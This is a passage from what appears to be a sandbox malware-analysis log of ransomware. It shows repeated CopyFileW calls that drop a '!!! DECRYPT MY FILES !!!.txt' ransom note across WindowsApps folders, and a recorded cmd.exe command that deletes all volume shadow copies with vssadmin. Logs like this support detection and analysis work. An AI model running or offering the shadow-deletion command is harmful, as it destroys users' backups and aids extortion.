Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.625] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.627] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.630] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.632] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\faq\\en-gb\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.649] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\faq\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.651] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\termsofservice\\en-gb\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0266.257] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\termsofservice\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0266.259] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\_resources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0266.262] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0268.284] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0268.289] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0268.295] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0268.302] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0268.311] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0268.315] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0270.692] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0270.904] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0270.948] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\fileicons\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0270.953] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0270.955] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0270.959] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0270.996] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.001] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.003] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.005] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.006] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.010] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.018] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.020] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.022] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.024] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\images\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.027] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-gb\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.029] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0271.031] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\surfacehub\\en-gb\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0273.112] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\surfacehub\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0273.114] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e1c) returned 0x6fe3bb0 [0273.115] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0273.119] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0273.121] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\images\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0273.123] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\partnerjs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0273.125] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_resources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0273.130] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0275.137] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0275.140] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0275.143] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0275.148] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0275.150] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) Thread: id = 95 os_tid = 0xf38 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4ef15000" os_pid = "0x5b0" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000f253" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 11 os_tid = 0x1108 Thread: id = 12 os_tid = 0x988 Thread: id = 13 os_tid = 0x820 Thread: id = 14 os_tid = 0x734 Thread: id = 15 os_tid = 0x6e8 Thread: id = 16 os_tid = 0x76c Thread: id = 17 os_tid = 0x690 Thread: id = 18 os_tid = 0x680 Thread: id = 19 os_tid = 0x614 Thread: id = 20 os_tid = 0x610 Thread: id = 21 os_tid = 0x60c Thread: id = 22 os_tid = 0x5b4 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x6c7a000" os_pid = "0xe00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x139c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c \"vssadmin.exe delete shadows /all /quiet\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT 